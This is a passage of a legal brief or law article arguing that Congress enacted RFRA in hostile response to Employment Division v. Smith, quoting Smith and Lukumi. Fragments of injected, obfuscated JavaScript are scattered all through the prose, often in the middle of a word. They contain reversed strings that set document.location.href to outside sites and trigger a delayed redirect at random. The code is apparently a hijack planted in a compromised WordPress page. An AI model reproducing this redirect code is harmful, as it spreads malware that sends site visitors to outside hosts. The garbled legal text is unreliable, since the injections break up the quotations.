beyond the few cases employing it, saying:

Any society adopting such a system would be courting anarchy, but that danger increases in direct proportion doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the society’s diversity of religious beliefs, and its determination doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to coerce or suppress none of them. Precisely because “we are a cosmopolitan nation made up of people of almost every conceivable religious preference,” Braunfeld v. Brown, 366 U.S., at 606, and precisely because we value and protect that religious divergence, we cannot afford the luxury of deeming presumptively invalid, as applied doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the religious objecdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor, every regulation of conduct that does not protect an interest of the highest order.

Smith, 494 U.S. at 888.

 

Five months before RFRA was enacted,  [34]  the Court reaffirmed its commitment doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to its free exercise doctrine announced in Smith with its decision in Church of the Lukumi Babalu Aye v. City of Hialeah, 508 U.S. 520 (1993). The opinion for the Court, written by Justice Kennedy and joined by Chief Justice Rehnquist and Justices Stevens, White, Scalia, and Thomas, declared: “In addressing the constitutional protection for free exercise of religion, our cases establish the general proposition that a law that is neutral and of general applicability need not be justified by a compelling governmental interest even if the law has the incidental effect of burdening a particular religious practice.” Lukumi, 508 U.S. at 531. Although challenged doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to retreat from the Smith Court’s analysis by separate opinions authored by Justices Blackmun, id. at 577 (Blackmun, J., concurring in the judgment), and Souter, id. at 559 (Souter, J., concurring in part and concurring in the judgment), this Court adhered doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Smith analysis of free exercise doctrine. Congress ignored this manifest reaffirmation of the Court’s free exercise doctrine and enacted RFRA only months later.

C. Congress’s Hostile [35]  Response doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Employment Division v. Smith

The plain language of RFRA, as well as its legislative his